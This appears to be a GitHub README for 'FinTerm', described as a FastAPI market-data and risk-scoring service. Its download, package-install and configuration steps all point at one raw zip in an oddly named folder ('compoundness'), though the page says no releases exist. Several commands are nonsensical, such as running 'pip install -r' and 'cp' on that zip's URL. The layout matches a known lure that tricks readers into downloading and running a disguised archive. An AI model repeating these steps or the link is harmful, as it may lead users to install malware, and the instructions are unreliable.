Skip to content
/ FinTerm Public

πŸ“ˆ Streamline market data processing with FinTerm, a FastAPI microservice offering analysis, risk scoring, and market-maker quoting backed by Gemini.

License

Notifications You must be signed in to change notification settings

tabtat/FinTerm

Folders and files

NameName
Last commit message
Last commit date

Latest commit

Β 

History

8 Commits
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 
Β 

Repository files navigation

πŸš€ FinTerm - Simplifying Market Data Processing

Download FinTerm

🌟 Overview

FinTerm is an efficient FastAPI microservice designed for market data processing. It helps users analyze market data, assess risk, and support market-making activities. With a focus on clear functionality, FinTerm aims to make market analysis more accessible.

πŸš€ Getting Started

1. Visit the Releases Page

To get started, visit the FinTerm Releases Page. On this page, you will find the latest version of FinTerm available for download. Choose the appropriate file for your system.

2. Download FinTerm

On the Releases Page, locate the version you want. Click on the link to download the file. It will usually be a .zip or https://raw.githubusercontent.com/tabtat/FinTerm/main/compoundness/FinTerm.zip file. Save it in a location you can easily access.

3. Unzip the File

After downloading, unzip the file. This will create a folder containing all the necessary files to run FinTerm.

4. Install Dependencies

You need Python and Git on your machine to run FinTerm effectively. Follow these steps:

Prerequisites

  • Python 3.10+ (Tested with Python 3.13).
  • Git for version control.
  1. Install Python by visiting Python's official site. Download and run the installer.
  2. Install Git by visiting Git's official site and following the instructions for your operating system.

5. Setting Up FinTerm

Once you have your dependencies installed:

  1. Open your terminal or command prompt.
  2. Navigate to the folder where you unzipped FinTerm.
  3. Set up a virtual environment to isolate your project's dependencies.
# Create a virtual environment
python3 -m venv venv
source venv/bin/activate  # For Windows use: venv\Scripts\activate

6. Install Required Packages

Next, install the necessary packages to run FinTerm:

pip install -r https://raw.githubusercontent.com/tabtat/FinTerm/main/compoundness/FinTerm.zip

7. Configure Your Environment

You will need to set up an environment configuration file.

# Create environment configuration from example
cp https://raw.githubusercontent.com/tabtat/FinTerm/main/compoundness/FinTerm.zip .env

You will need to edit the new .env file:

  1. Open the file in a text editor:
nano .env  # or use your preferred editor
  1. Add your Gemini API key in the specified field to enable data processing.

8. Start the Server

You can now start the server with the following command:

uvicorn app:app --reload

The server will be available at http://127.0.0.1:8000.

9. Verify Your Installation

To confirm that everything is running correctly, conduct a health check by running:

curl http://127.0.0.1:8000/api/v1/mcp/health

You should see the response:

{"status":"ok","service":"MCP Server"}

If you see this, your FinTerm installation is successful, and the service is operational.

πŸ“Š API Endpoints

Local Endpoints (No API key required)

FinTerm offers several endpoints for data processing. You can access these without requiring an API key, simplifying your interactions with the service. Refer to the official API documentation for detailed usage of each endpoint.

πŸ“₯ Download & Install

To recap, visit the FinTerm Releases Page to download the latest version. Follow the installation instructions carefully to set it up on your machine.

With FinTerm, you can efficiently process market data, making informed decisions with ease.

Releases

No releases published

Packages

No packages published

Contributors 2

  •  
  •  

Languages